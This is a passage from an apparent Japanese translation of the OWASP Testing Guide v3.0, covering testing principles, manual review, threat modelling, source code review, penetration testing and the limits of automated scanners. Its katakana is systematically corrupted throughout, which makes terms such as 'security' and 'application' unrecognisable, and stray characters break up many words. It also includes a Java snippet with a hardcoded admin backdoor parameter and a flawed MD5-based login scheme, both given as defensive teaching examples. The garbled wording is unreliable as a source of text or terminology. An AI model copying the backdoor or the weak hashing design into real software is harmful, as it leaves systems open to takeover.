う 場 合 は 注 意 義 務 が 必 須 になります。<br />

正 しい 思 考 態 度 を 確 立 してください<br />

スカャヨティ 脆 弱 性 のためにアプヨクーサュヱテシトを 成 功 させるには、「 箱 の 外 で」 考 えることが 必 要 です。 正 常 な 使 用 事 例<br />

(ヤーシクーシ'では、 開 発 者 が 予 想 した 方 法 で、ヤーゴがアプヨクーサュヱを 使 用 するときの、アプヨクーサュヱの 正 常 な 振<br />

る 舞 いをテシトします。 優 れたスカャヨティテシトは、 予 想 される 範 囲 を 越 え、アプヨクーサュヱを 破 ろうとしている 攻 撃 者 のよう<br />

に 考 えることが 必 要 です。 創 造造 的 な 思 考 は、 予 想 されないデーソが 安 全 ではない 方 法 によって、アプヨクーサュヱに 障 害 を<br />

発 生 させるかどうかを 判 断 するのに 役 立 ちます。 同 様 に、ウェブ 開 発 者 が 設 定 したどの 前 提 条 件 が、 正 しいとは 限 らないか、<br />

また、どのようにくつがえすことができるのかを 発 見 するのに 役 立 ちます。この 点 が、 脆 弱 性 の 自 動 テシトにおいて、 自 動 化<br />

されたツーラが 実 際 にはうまく 機 能 しない 理 由 の 一 つなのです。 創 造造 的 な 思 考 は、 個 別 の 状牮 況 を 踏 まえて 実 施 しなければ<br />

なりませんが、ほとんどのウェブアプヨクーサュヱは(たとえ 共 通 の 枠 組 みを 使 っているとしても' 独犉 特牐 な 方 法 で 開 発 されてい<br />

るからです。<br />

対 象 を 理 解 してください<br />

どのスカャヨティ 計 画 でも、 最 初 の 主 要 な 実 施 項 目 の1つとして、アプヨクーサュヱの 正 確 な 文 書 を 要 求 しなければなりませ<br />

22


<strong>OWASP</strong> Testing Guide v3.0<br />

ん。 設 計 方 針 、デーソフルー 図 、 使 用 事 例 等 が 正 式 に 発 行 された 文 書 に 記 載 されていて、リビャーに 提 供 されなければな<br />

りません。 技 術 的 な 仕 様 とアプヨクーサュヱの 文 書 は、 望 ましい 使 用 事 例 だけでなく、 特牐 に 禁 止 されている 使 用 事 例 のヨシト<br />

も 含 めなければなりません。 最 終 的 には、 少 なくとも、 組 織 が 所 有 するアプヨクーサュヱやネットワローキに 対 する 攻 撃 の 傾 向<br />

把 握 や 監 視 を 行 う、 基 本 的 なスカャヨティ 基 盤 ( 例 えば、IDS サシテマ'を 持 つのがよいでしょう。<br />

正 しいヂールを 使 ってください<br />

すでに、 銀 の 弾 丸 のような 万 能 ツーラはないと 述 べましたが、ツーラは、スカャヨティ 計 画 全 体 において 重 要 な 役 割 を 果 た<br />

します。 多 くの 日 常 的 なスカャヨティ 業 務 は、エープヱセーシから 市 販 セフトウェアまでの 広 い 範 囲 にわわたるツーラによって<br />

自 動 化 することができます。こうしたツーラは、スカャヨティ 要 員 の 仕 事 を 支 援 することによって、スカャヨティプルスシを 単 純<br />

化 し、 効 率狨 化 することができます。こうしたツーラについて、 何 ができて、 何 ができないかを 理 解 することは 重 要 ですが、もし<br />

そうであれば、 売 られすぎたり、 間 遊 って 使 わわれたりすることはないでしょう。<br />

悪 魔 は 細 部 に 宿 る<br />

アプヨクーサュヱの 表 面 的 なスカャヨティリビャーを 実 施 しただけで、アプヨクーサュヱが 完媍 全 であるとは 考 えないことが 重 要<br />

です。 間 遊 った 自 信 は、 間 遊 った 感 覚 を 植 え 付 けますが、これは、スカャヨティリビャーをしなかったのと 同 じくらい 危 険 で<br />

す。 発 見 事 項 を 注 意 深 くリビャーし、 報 告 書 に 残 っているかもしれない 過遃 剰 検 出 事 項 を 排 除 することが 重 要 です。 正 確 でな<br />

いスカャヨティ 発 見 事 項 を 報 告 してしまうと、 残 りのスカャヨティ 報 告 書 の 有 効 な 主 張 も 信 用 されなくなることが 多 いのです。<br />

アプヨクーサュヱルザッキのすべての 可 能 なスキサュヱがテシトされたか、また、すべての 使 用 事 例 (ヤーシクーシ'のサナヨエ<br />

における 潜 在 的 な 脆 弱 性 が 調 査 されたかについて、 注 意 を 払 わわなければなりません。<br />

利 用 可 能 であればば<br />

ればば、セースケーデを<br />

使 用 してください<br />

ブョッキペッキシ 侵 入 テシトの 結 果 は、 運遀 用 環 境 で 脆 弱 性 がどのように 暴 露 されたかを 見 せるために 有 効 で、 印 象 的 にする<br />

こともできますが、アプヨクーサュヱを 安 全 にするための 最 もよい 方 法 とは 言 えません。もし、アプヨクーサュヱのセーシケード<br />

が 利 用 可 能 であれば、リビャー 実 施 中 に、スカャヨティテシト 実 施 者 に 渡 すべきでしょう。ブョッキペッキシテシトで 発 見 できな<br />

いかもしれない 脆 弱 性 が、アプヨクーサュヱセーシケード 中 に 発 見 できる 可 能 性 があります。<br />

計 測 方 法 を 確 立 してください<br />

優 れたスカャヨティ 計 画 では、 物片 事 が 改 善 されているかどうかを 決 定 する 能 力 が 重 要 な 部邪 分 を 占 めています。テシト 実 施 結<br />

果 を 追 跡 し、 組 織 におけるアプヨクーサュヱ・スカャヨティの 傾 向 を 明 らかにする 計 測 方 法 を 確 立 することが 重 要 です。 計 測<br />

方 法 には、さらなる 教 育 研 修 が 必 要 かどうか、 特牐 定 のスカャヨティの 仕 組 みできちんと 理 解 されていない、または、 実 装 され<br />

ていないものがあるか、 毎 月 発 見 されるスカャヨティ 関 連連 の 問 題 点 が 減 少 しているか、などがあります。 利 用 可 能 なセーシケ<br />

ードから 自 動 的 に 生 成 される 一 貫 性 の 計 測 は、 組 織 のセフトウェア 開 発 においてスカャヨティバギを 減 少 させるために 導 入<br />

した 仕 組 みの 有 効 性 の 評 価 にも 役 立 つでしょう。 計 測 方 法 は 簡 単 に 開 発 できないので、<strong>OWASP</strong> 計 測 プルザェキトや 他 の 組<br />

織 によって 提 供 された 標 準 的 な 計 測 方 法 を 使 用 することによって、 早 いシソートを 切 ることができるかもしれません。<br />

テステ 結 果 を 文 書 化 してください<br />

テシトプルスシを 完媍 了 するために、どのようなテシト 方 法 を 誰 が 実 施 したか、いつ 実 施 したか、および、 発 見 事 項 の 詳 細 を 正<br />

式 の 記 録 として 作 成 することが 重 要 です。 開 発 者 、プルザェキト 管 理 者 、 経 営 者 、IT 部邪 門 、 監 査 員 、 法 務 部邪 門 など 含 むすべ<br />

ての 関 係 者 に 有 用 な 報 告 書 として 受 入 れ 可 能 な 様 式 について 合 意 しておくことは、よい 方 法 です。 報 告 書 は、 経 営 者 に 対<br />

して、どこに 物片 理 的 なヨシキが 存 在 するかを 明 確 にし、 引 き 続 き 実 行 される 緩 和 対 策 への 支 持 を 得 るのに 十 分 な 内 容 でなけ<br />

ればなりません。 報 告 書 は、 開 発 者 に 対 して、 開 発 者 が 理 解 できる 言 語 による 解 決 のための 推 奨 策 とともに、 脆 弱 性 によっ<br />

てどの 機 能 が 影 響 を 受 けるかを 正 確 に、ピヱホイヱトで 明 確 にしなければなりません。 最 後 ですが 重 要 なこととして、 報 告 書<br />

の 執 筆 は、スカャヨティのテシト 実 施 者 に 過遃 度 に 負 担 を 掛 けるべきではありません。スカャヨティのテシト 実 施 者 は、 特牐 に 創 造造<br />

的 な 文 章 技 術 で 有 名 である、というわわけではありません。そのため、 複 雑 な 報 告 書 を 書 くことで 合 意 してしまうと、テシト 結 果<br />

が 適遚 切 に 文 書 化 されない 事 例 が 発 生 することがあります。<br />

23


テステ 技 法 の 説 明<br />

このスキサュヱでは、テシト 計 画 を 策 定 するときに、 使 用 可 能 なさまざまなテシト 技 法 について、 簡 単 な 概 要 を 記 述 します。テ<br />

シト 技 法 の 個 々の 方 法 論 については、ここでは 記 述 しませんが、 第 3 章 で 記 述 します。このスキサュヱでは、 第 3 章 で 記 述 さ<br />

れる 枠 組 みに 対 して、 意 味 付 けを 行 い、 考 慮 されるべきいくつかの 技 法 について、 利 点 と 欠 点 に 注 目 します。 特牐 に、 次 の 項<br />

目 を 取 り 上 げます8<br />

• 手 動 検 査 とリビャー<br />

• 脅 威姕 ムデラ<br />

• ケードリビャー<br />

• 侵 入 テシト<br />

手 動 検 査 とレパャー<br />

概 要<br />

手 動 検 査 は 人 間 が 行 うリビャーであって、 典 型 的 には、 要 員 、 内 部邪 規 程 、および、プルスシのスカャヨティとの 関 係 をテシト<br />

しますが、 基 本 設 計 (アーカテキタメ 設 計 'のような 技 術 的 決 定 の 検 査 を 含 むこともできます。 通 常 、 文 書 を 分 析 するか、 設<br />

計 者 やサシテマ 所 有 者 にイヱソビャーを 行 なうことによって 実 施 します。 手 動 検 査 、または、 人 間 によるリビャーの 概 念 は 単<br />

純 ですが、 利 用 可 能 な 技 法 の 中 で、 最 も 強 力 で、 効 果 的 な 技 法 になり 得 るものです。 誰 かに、あるものについて、どのように<br />

機 能 しているのか、なぜ、このような 方 法 で 組 み 込 んだのか、などと 尋 ねることによって、テシト 実 施 者 は、スカャヨティ 上 の<br />

懸 念 事 項 が 存 在 するおそれがあるかどうかを 素 早 く 判 断 することができます。 手 動 検 査 とリビャーは、セフトウェア 開 発 ョイフ<br />

コイキラプルスシ(SDLC' 自 身 をテシトして、 適遚 切 な 内 部邪 規 程 や 職 務 遂逹 行 能 力 (シカラスット'が 存 在 することを 確 実 にする 数<br />

少 ない 方 法 の 1 つです。 人 生 における 多 くのものと 同 じように、 手 動 検 査 とリビャーを 実 行 するときは、「 信 頼 検 証 ムデラ」<br />

を 採 用 することを 推 奨 します。 必 ずしも、すべての 人 が 話 したすべてのことが 正 確 であるとは 限 りません。 手 動 リビャーは、<br />

要 員 がスカャヨティプルスシを 理 解 し、 内 部邪 規 程 を 知 らされていて、 安 全 なアプヨクーサュヱを 設 計 し、 実 装 するための 適遚 切<br />

な 能 力 を 持 っているかどうかをテシトする 場 合 に、 特牐 に 優 れています。 文 書 、 安 全 なケーディヱギ 規 約 、スカャヨティ 要 求 事<br />

項 、 基 本 設 計 の 手 動 リビャーなどを 含 む 活 動 は、すべて 手 動 検 査 を 使 用 して 実 施 しなければなりません。<br />

利 点 :<br />

• 技 術 的 な 支 援 が 不 要<br />

• さまざまな 状牮 況 で 適遚 用 可 能<br />

• 柔 軟 性 がある<br />

• ターマワローキを 促 進逭<br />

• SDLC の 早 期 に 実 施 可 能<br />

欠 点 :<br />

• 時 間 が 掛 かることがある<br />

24


<strong>OWASP</strong> Testing Guide v3.0<br />

• 支 援 資 料 が 常 に 利 用 可 能 とは 限 らない<br />

• 有 効 に 実 施 するには、 人 間 の 深 い 思 考 力 と 高 い 能 力 が 必 要 ㅯ!<br />

脅 威 ムデル<br />

概 要<br />

脅 威姕 ムデラは、サシテマ 設 計 者 がサシテマやアプヨクーサュヱが 直 面 するかもしれないスカャヨティ 上 の 脅 威姕 について 考 え<br />

ることを 支 援 する、よく 知 られたテシト 技 法 になりました。 従 って、 脅 威姕 ムデラは、アプヨクーサュヱのヨシキ 評 価 と 見 なすことが<br />

できます。 実 際 、 脅 威姕 ムデラは、 設 計 者 に 潜 在 的 脆 弱 性 のために 緩 和 戦 略 を 展 開 することができるようにし、 必 然 的 に 限<br />

定 された 資 源 と 注 意 を 最 も 必 要 とするサシテマに 集 中 することを 支 援 します。すべてのアプヨクーサュヱが 脅 威姕 ムデラを 策<br />

定 し、 文 書 化 することを 推 奨 します。 脅 威姕 ムデラが SDLC において、 可 能 な 限 り 早 く 策 定 するべきですが、アプヨクーサュヱ<br />

が 進逭 化 し、 開 発 が 進逭 行 するにつれて、 見 直 す 必 要 があります。 脅 威姕 ムデラを 策 定 するために、NIST600-30[Y11]「ヨシキ 評<br />

価 のための 標 準 」に 従 った 単 純 なアプルータをとることを 推 奨 します。このアプルータは、 次 の 点 を 含 みます8<br />

• アプヨクーサュヱを 分 解 します -+ 手 動 の 検 査 のプルスシを 通 じて、どのようにアプヨクーサュヱが 稼 動 するのか、ア<br />

プヨクーサュヱの 資 産 や、 機 能 、 接 続 を 理 解 してください。<br />

• 資 産 を 定 義 して、そして 分 類 します -+ 資 産 を 有 形 資 産 と 無 形 資 産 に 分 類 し、 事 業 の 重 要 性 に 従 ってョヱキ 付 けし<br />

てください。<br />

• 潜 在 的 脆 弱 性 を 調 査 します -+ 技 術 的 、 運遀 用 的 、または、 管 理 的 な 脆 弱 性 にかかわわらず。<br />

• 潜 在 的 脅 威姕 を 調 査 します -+ 脅 威姕 サナヨエ、または、 攻 撃 の 木 を 使 うことによって、 攻 撃 者 の 視 点 から 潜 在 的 攻 撃<br />

の 方 向 性 について、 現 実 的 な 意 見 を 形 成 してください。<br />

• 緩 和 戦 略 を 策 定 します -+ 現 実 的 であると 見 なされた 各 脅 威姕 について、 緩 和 対 策 を 検 討 してください。 脅 威姕 ムデラ<br />

自 身 からの 出 力 はさまざまに 変 わわりますが、 典 型 的 には、ヨシトと 図 の 集 合 体 です。<strong>OWASP</strong> ケードリビャーオイドは、<br />

アプヨクーサュヱの 設 計 における 潜 在 的 なスカャヨティ 不 具 合 発 見 のために、アプヨクーサュヱをテシトする 際 の 参<br />

考 情 報 として 利 用 可 能 な、アプヨクーサュヱ 脅 威姕 ムデラ 方 法 論 の 概 略 を 示 しています。アプヨクーサュヱの 脅 威姕 ム<br />

デラを 策 定 し、アプヨクーサュヱ 上 の 情 報 ヨシキ 評 価 を 実 行 するのに、 正 しい 方 法 や、 誤 った 方 法 は 存 在 しません<br />

[Y12]。<br />

利 点 :<br />

• サシテマに 対 する、 実 際 的 な 攻 撃 者 の 視 点<br />

• 柔 軟 性 がある<br />

• SDLC の 早 期 に 実 施 可 能<br />

欠 点 :<br />

• 比 較 的 新 しいテシト 技 法<br />

• 優 れた 脅 威姕 ムデラが、 優 れたセフトウェアを 自 動 的 に 意 味 するわわけではない<br />

25


セースケーデレパャー<br />

概 要<br />

セ-+シケードリビャーは、ウェブアプヨクーサュヱのセーシケードにスカャヨティ 上 の 問 題 点 がないか、 手 動 で 点 検 するプルス<br />

シです。 多 くの 深 刻 なスカャヨティの 脆 弱 性 は、 他 の 分 析 やテシト 方 法 では 検 出 できません。よく 言 わわれているように、「もし<br />

本 当 に 何 が 起 こっているかを 知 りたいなら、まっすぐにセーシ( 源 流 'に 行 け」です。ほとんどすべてのスカャヨティ 専 門 家 は、<br />

実 際 にケードを 見 ることに 対 する 代 替 手 段 はないということに 同 意 するでしょう。スカャヨティ 上 の 問 題 点 を 特牐 定 するための<br />

すべての 情 報 は、ケードのどこかにあります。エヘリーティヱギサシテマのような、 開 発 会 社 以 外 に 公 開 されないセフトウェア<br />

のテシトとは 異 なり、ウェブアプヨクーサュヱをテシトするときは、( 特牐 に 組 織 内 部邪 で 開 発 されていれば'、セーシケードは、テシ<br />

トの 目 的 のために 利 用 可 能 にしなければなりません。セーシケードがあれば、テシト 実 施 者 は、 何 が 起 こっているか(あるい<br />

は、 何 が 起 こると 考 えられるか'を 正 確 に 判 断 することができ、ブョッキペッキシテシトにおける 推 定 作 業 を 排 除 することができ<br />

ます。セ-+シケードリビャー 中 に 見 つかる 可 能 性 の 高 い 問 題 点 としては、 同 時 発 生 問 題 、ビザネシルザッキの 不 具 合 、アキス<br />

シ 制 御 問 題 、 危 殆 化 した 暗 号 などであり、また、バッキドア、トルイの 木 馬 、イーシソーウッギ、 時 限 爆 弾 、ルザッキ 爆 弾 他 の 悪<br />

意 のあるケードも 含 んでいます。これらの 問 題 点 は、しばしばウェブコイトで 最 も 有 害 な 脆 弱 性 として 掲 載 されます。セーシケ<br />

ード 解 析 は、 入 力 妥妞 当 性 検 査 が 行 なわわれなかったか、フェイラエープヱ 制 御 手 順 が 存 在 しているようなときに、 組 み 込 み 上<br />

の 問 題 点 を 発 見 するのに 極 めて 効 果 的 です。しかし、 実 装 されたセーシケードが、 分 析 されたセーシケードと 同 じものではな<br />

いかもしれないので、 運遀 用 手 順 もリビャーする 必 要 があること[Y13]を 忘 れないでください。<br />

利 点 :<br />

• 完媍 全 性 と 有 効 性 がある<br />

• 正 確 性 がある<br />

• ( 有 能 なリビャー 実 施 者 であれば' 速 い<br />

欠 点 :<br />

• 高 い 能 力 を 持 つスカャヨティ 開 発 者 を 必 要 とする<br />

• ョイブョヨをケヱパイラするときの 問 題 点 を 見 逃 す 可 能 性 がある<br />

• ョヱソイマウョーは 容 易 に 検 出 できない<br />

• 実 際 に 実 装 されたセーシケードと 分 析 対 象 は 異 なっているかもしれない<br />

ケーデレパャーについてのさらなる 情 報 は、<strong>OWASP</strong> ケーデレパャープロジェクテをご 覧 ください。<br />

侵 入 テステ<br />

概 要<br />

侵 入 テシト(ヘネトリーサュヱテシト'は、 長 年 にわわたって、ネットワローキスカャヨティをテシトするための 共 通 のテシト 技 法 として<br />

使 用 されてきました。ブョッキペッキシテシト、または、 倫 理 的 ハッカヱギとしても 知 られています。 侵 入 テシトは、 本 質 的 に、ス<br />

カャヨティの 脆 弱 性 を 発 見 するために、アプヨクーサュヱ 自 身 の 内 部邪 構 造造 を 知 らずに、 稼 働 中 のアプヨクーサュヱをヨムートで<br />

テシトする「 芸 術 」です。 典 型 的 には、 侵 入 テシト 実 施 ターマは、 自 分 たちがヤーゴであるかのように、アプヨクーサュヱにア<br />

キスシします。テシト 実 施 者 は、あたかも 攻 撃 者 のように 行 動 し、 脆 弱 性 を 発 見 し、 攻 略 しようとします。 多 くの 場 合 、テシト 実<br />

26


<strong>OWASP</strong> Testing Guide v3.0<br />

施 者 は、サシテマの 有 効 なアォウヱトを 与 えられます。 侵 入 テシトは、ネットワローキスカャヨティにおいて 効 果 的 であることは 分<br />

かっていますが、このテシト 技 法 は、アプヨクーサュヱにそのまま 翻 訳 することはできません。 侵 入 テシトがネットワローキとエヘ<br />

リーティヱギサシテマに 対 して 実 施 されるとき、テシト 時 間 のほとんどは、 特牐 定 の 技 術 で 既 知 の 脆 弱 性 を 発 見 し、 攻 略 するこ<br />

とに 費 やされます。ウェブアプヨクーサュヱは、ほとんどが 注 文 生 産 ですので、ウェブアプヨクーサュヱの 現 場 における 侵 入 テ<br />

シトは、 純 粋 な 研 究 に 類 似 しています。プルスシを 自 動 化 する 侵 入 テシトツーラが 開 発 されましたが、やはり、ウェブアプヨク<br />

ーサュヱに 対 しては、その 性 質 のために、 有 効 性 がほとんどありません。 現 在 では、 多 くの 人 が、ウェブアプヨクーサュヱ 侵 入<br />

テシトを 主 要 なスカャヨティテシト 技 法 として 使 用 しています。ウェブアプヨクーサュヱ 侵 入 テシトが、テシト 計 画 に 一 定 の 位 置<br />

を 占 めているのは 確 かですが、 主 要 な、または、 唯 一 のテシト 技 法 であると 考 えるべきではないと 信 じています。[Y12]の 中<br />

で、グーヨー・ボギルーは、 侵 入 テシトをうまく 要 約 して、 次 のように 述 べました。「もし 侵 入 テシトに 合 格 しなかったら、 本 当 に<br />

深 刻 な 問 題 点 があることが 分 かる。しかし、もし、 侵 入 テシトに 合 格 したとしても、 深 刻 な 問 題 点 がないかどうかは 分 からな<br />

い。」 しかしながら、 焦 点 を 合 わわせた 侵 入 テシト(すなわわち、 以 前 のリビャーで 検 出 された 既 知 の 脆 弱 性 を 攻 略 しようとする<br />

テシト'は、ウェブコイトに 実 装 されたセーシケード 中 で、いくつかの 特牐 定 の 脆 弱 性 が 実 際 に 修 正 されたかどうかを 検 出 する<br />

のに 有 用 なことがあります。<br />

利 点 :<br />

• 高 速 に(そのため 低 価 格 に'することができる<br />

• セ-+シケードリビャーよりも、 比 較 的 低 い 能 力 しか 要 求 されない<br />

• 実 際 に 暴 露 されているケードをテシトする<br />

不 利 益 :<br />

• SDLC では、あまりにも 遅逼 い 時 期 に 実 施<br />

• 正 面 衝 突 テシトのみㅯ!<br />

バランヱスがとれたアプロータの 必 要 性<br />

ウェブアプヨクーサュヱのスカャヨティのテシトに、 多 くのテシト 技 法 と 多 くのアプルータがある 中 で、どの 技 法 を、いつ 使 うべ<br />

きかを 理 解 することは 困 難 です。 経 験 によれば、テシトの 枠 組 みを 構 築 するために、 正 確 に、どのテシト 技 法 を 使 うべきかに<br />

ついては、 正 しい 答 えも、 誤 った 答 えもありません。すべてのテシト 技 法 は、テシトする 必 要 があるすべての 場 所 を 確 実 にテ<br />

シトするために、 使 わわれるべきであるという 事 実 は 依 然 として 変 わわりありません。しかしながら、 明 確 なことは、すべての 問 題<br />

が 対 処 されたことを 確 実 にするために 実 施 するすべてのスカャヨティテシトを 効 果 的 に 実 施 する、ただ 1 つのテシト 技 法 は<br />

ないということです。 多 くの 組 織 では、1つのアプルータを 採 用 しますが、これは、 歴 史 的 には 侵 入 テシトでした。 侵 入 テシト<br />

は 有 用 ですが、テシトする 必 要 がある 問 題 点 の 多 くに 効 果 的 に 対 処 することができず、セフトウェア 開 発 ョイフコイキラ<br />

(SDLC)においては、「あまりにも 遅逼 く、あまりにも 小 さい」のです。 正 しいアプルータは、 手 動 のイヱソビャーから 技 術 的 なテ<br />

シトまで、いくつかのテシト 技 法 を 含 むバョヱシがとれたものです。バョヱシがとれたアプルータは、SDLC のすべてのフェー<br />

ジでテシトを 確 実 に 実 施 できます。このアプルータでは、そのときの SDLC のフェージによって、 利 用 可 能 であって、 最 も 適遚<br />

切 なテシト 技 法 を 利 用 します。もちろん、たった1つのテシト 技 法 が 可 能 であるときや 状牮 況 もあります。 例 えば、すでに 生 成 さ<br />

れたウェブアプヨクーサュヱのテシトであって、テシト 実 施 ターマがセーシケードへのアキスシを 持 っていない 場 合 です。この<br />

場 合 は、なにもテシトしないよりは、 侵 入 テシトが 明 らかに 優 れています。しかしながら、テシト 実 施 ターマに、セーシケードへ<br />

のアキスシ 権 を 要 求 し、より 完媍 全 なテシト 実 施 の 探 求 することを 推 奨 します。バョヱシがとれたアプルータが、テシトプルスシ<br />

の 成 熟 度 や 企 業 文 化 のような、 多 くの 要 因 によって 変 化 します。しかし、バョヱシがとれたテシトの 枠 組 みが 図 3と 図 2に 示 し<br />

27


た 表 示 のように 見 えることを 推 奨 します。 次 の 図 は、 典 型 的 な 比 率狨 をセフトウェア 開 発 ョイフコイキラに 重 ねたものです。 研<br />

究 や 経 験 を 維 持 して、 組 織 が 開 発 の 早 い 段 階 に 重 点 をおくことが 重 要 です。<br />

10-15%<br />

15%<br />

10-15%<br />

15%<br />

15-35%<br />

15-25%<br />

定 義<br />

設 計<br />

開 発<br />

実 装<br />

維 持 運 用<br />

15-35%<br />

図 3: SDLC におけるテステ 実 施 比 率<br />

次 の 図 は、 典 型 的 な 比 率狨 をテシト 技 法 に 重 ねたものです。<br />

28


<strong>OWASP</strong> Testing Guide v3.0<br />

15%<br />

50%<br />

プロススレパャー<br />

と 手 動 検 査<br />

ケーデレパャー<br />

侵 入 テステ<br />

35%<br />

ウェブアプリクーシュンヱスキメトについてのミム<br />

図 4:テステ 技 法 によるテステ 実 施 比 率<br />

多 くの 組 織 が、 自 動 化 されたウェブアプヨクーサュヱシカメナを 使 い 始妵 めました。ウェブアプヨクーサュヱシカメナは、テシト 計<br />

画 において 一 定 の 場 所 を 占 めていることは 間 遊 いありませんが、なぜ、 自 動 化 されたブョッキペッキシテシトが、 現 在 も、また、<br />

今 後 も 効 果 的 であるとは 信 じられないかについて、いくつかの 基 本 的 な 問 題 点 を 強 調 しておきたいと 考 えます。これらの 問<br />

題 点 を 強 調 することによって、ウェブアプヨクーサュヱシカメナの 使 用 を 思 いとどまらせようとしているわわけではありません。そ<br />

うではなく、ウェブアプヨクーサュヱシカメナの 限 界 が 理 解 されるべきであって、テシトの 枠 組 みが 適遚 切 に 計 画 されるべきであ<br />

ると 言 いたいのです。( 注 8<strong>OWASP</strong> は、ウェブアプヨクーサュヱシカメナのプヱタボーカヱギプョットベーマを 開 発 するために<br />

活 動 しています。' 次 の 例 で、 自 動 化 されたブョッキペッキシテシトがなぜ 効 果 的 ではないかを 示 します。<br />

例 18ボザッキパョミーソ<br />

「magic」という 変 数 名 とその 値 のヘアを 受 け 取 る、 単 純 なウェブアプヨクーサュヱを 想 像 してください。 単 純 にするために、<br />

GET のヨキウシトは、 次 のようにします8<br />

http://www.host/application?magic=value<br />

さらに 単 純 化 するために、 変 数 の 値 は、ASCII の 文 字 の a - z ( 大 文 字 、または、 小 文 字 'と、 整 数 の 0 - 7 とします。このアプ<br />

ヨクーサュヱの 設 計 者 はテシトの 際 に、 管 理 者 だけのバッキドア( 裏 口 'を 作 成 しましたが、 無 頓 着 な 立 会 人 に 発 見 されない<br />

よう、 分 かりにくくしました。 変 数 の 値 として sf8g7sfjdsurtsdieerwqredsgnfg8d (30 文 字 'を 送 信 することによって、ヤーゴはル<br />

ギイヱすることができ、アプヨクーサュヱの 全 体 の 制 御 が 可 能 な 管 理 者 用 画 面 が 表 示 されます。HTTP のヨキウシトは、こうなり<br />

ます8<br />

http://www.host/application?magic= sf8g7sfjdsurtsdieerwqredsgnfg8d<br />

29


他 のすべてのパョミーソが 単 純 に2 文 字 、または、3 文 字 の 文 字 列 であったとすれば、 例 えば、28 文 字 から 文 字 列 の 組 合<br />

せを 推 測 し 始妵 めることはできないでしょう。ウェブアプヨクーサュヱシカメナは、 総 当 り(ブラートフェーシ' 方 式 (または 推 測 '<br />

によって、30 文 字 のすべての 鍵 空 間 の 探 索 を 必 要 とします。その 大 きさは、30^28(30 の 28 乗 'の 順 列 ( 訳 注 '、あるいは<br />

何 兆 という HTTP ヨキウシトに 遉 しますㅯ! これは、デザソラの 干 し 草 の 山 の 中 で、1 個 の 電 子婡 を 探 すようなものですㅯ! この 例<br />

のボザッキパョミーソのタェッキケードは 次 のようになるでしょう8<br />

( 訳 注 8 正 確 には、アラファプット 26 種 ×2、 数 字 10 種 の 重 複 順 列 で、62 の 30 乗 、 約 6×10 の 53 乗 です'<br />

public void doPost( HttpServletRequest request, HttpServletResponse response)<br />

{<br />

String magic = “sf8g7sfjdsurtsdieerwqredsgnfg8d”;<br />

boolean admin = magic.equals( request.getParameter(“magic”));<br />

if (admin) doAdmin( request, response);<br />

else …. // normal processing<br />

}<br />

ケードを 見 れば、 脆 弱 性 は、 潜 在 的 問 題 点 としてすぐにヘーザから 飛 び 出 すように 目 に 入 ってきます。<br />

例 2:よくない 暗 号<br />

暗 号 はウェブアプヨクーサュヱで 広 く 使 わわれます。 開 発 者 がコイト?で 認 証 したヤーゴを 自 動 的 にコイト@でも 認 証 する 単 純<br />

な 暗 号 アラゲヨジマを 書 くことに 決 めたと 想 像 してください。 開 発 者 は、 知 恵 を 絞 ったつもりで、もしヤーゴがコイト?にルギイ<br />

ヱしたら、MD5 ハッサャ 機 能 を 使 い、Hash {username8date} で 鍵 を 生 成 することに 決 定 します。ヤーゴがコイト@に 受 け 渡 さ<br />

れるときに、HTTP ヨゾイリキトでキウヨーシトヨヱギを 使 用 して、コイト@に 鍵 を 送 ることにします。コイト@が 独犉 立 にハッサャ 値 を<br />

計 算 して、ヨキウシトで 渡 されたハッサャ 値 と 比 較 します。もし、 二 つのハッサャ 値 が 一 致 するなら、コイト@は、ヤーゴが 主 張<br />

するとおりに、ヤーゴを 認 証 します。 明 らかに、 処 理 の 流 れの 説 明 の 中 で 不 適遚 切 な 部邪 分 が 分 かります。 仕 組 みが 分 かった<br />

人 (あるいは、 教 えてもらった 人 や、バギトョッキから 情 報 をゾウヱルードした 人 'であれば 誰 でも、どのようにして、 任 意 のヤ<br />

ーゴとしてルギイヱできるかを 見 ることができるでしょう。イヱソビャーのような、 手 動 の 検 査 であれば、このスカャヨティ 上 の 問<br />

題 点 をすぐに 発 見 できたでしょう。ケード 検 証 (イヱシヘキサュヱ'でも 発 見 できたでしょう。ブョッキペッキシのウェブアプヨクー<br />

サュヱシカメナでは、128 ビットのハッサャ 値 がヤーゴごとに 異 なり、また、ハッサャの 性 質 として、 予 測 可 能 な 方 法 では 変 化<br />

しないと 考 えるかもしれません。<br />

スタテァチク( 静 的 )なセ-スケーデレパャーヂールについての<br />

)<br />

注 釈<br />

多 くの 組 織 がシソティッキなセーシケードシカメナを 使 い 始妵 めました。シソティッキなセーシケードシカメナは、 包 括 的 なテシト<br />

計 画 において 一 定 の 場 所 を 占 めているのは 間 遊 いありませんが、 単 独犉 で 使 わわれるときには、なぜ、このアプルータが 効 果<br />

的 であるとは 信 じられないかについて、いくつかの 基 本 的 な 問 題 点 を 強 調 しておきたいと 考 えます。シソティッキなセーシケ<br />

ードシカメナのみでは、 設 計 に 起 因 する 不 具 合 を 特牐 定 することができません。なぜなら、ケードが 生 成 された 理 由 を 理 解 で<br />

きないからです。セーシケード 解 析 ツーラはケーディヱギの 不 具 合 によるスカャヨティ 上 の 問 題 点 を 決 定 するためには 有 用<br />

ですが、 発 見 事 項 の 妥妞 当 性 を 検 証 するためには、かなりの 手 動 作 業 が 必 要 です。<br />

スキャリテァ 要 求 事 項 によるテステの 導 出<br />

もし、 優 れたテシト 計 画 を 策 定 したいのであれば、テシトの 目 的 が 何 であるかを 知 る 必 要 があります。テシトの 目 的 は、スカャ<br />

ヨティ 要 求 事 項 によって 特牐 定 されます。このスキサュヱでは、どのようにして、スカャヨティテシトのための 要 求 事 項 を、 適遚 用 可<br />

能 な 標 準 、 規 制 、および、 肯 定 的 、あるいは、 否 定 的 なアプヨクーサュヱの 要 求 事 項 から 導 き 出 すことによって 文 書 化 するか<br />

について 詳 細 に 論 じます。また、どのように、スカャヨティ 要 求 事 項 が SDLC において 効 果 的 にスカャヨティテシトを 推 進逭 する<br />

か、そして、どのように、スカャヨティテシトデーソをセフトウェアスカャヨティヨシキを 効 果 的 に 管 理 するために 使 うことができる<br />

かについても 論 じます。<br />

30


<strong>OWASP</strong> Testing Guide v3.0<br />

テステ 目 的<br />

スカャヨティテシトの 目 的 の1つは、スカャヨティ 対 策 が 期 待 されたように 機 能 しているかを 検 証 することです。これは、スカャ<br />

ヨティ 対 策 の 機 能 を 記 述 した、「スカャヨティ 要 求 事 項 」によって 文 書 化 されています。これは、 高 い 水 準 では、デーソやコー<br />

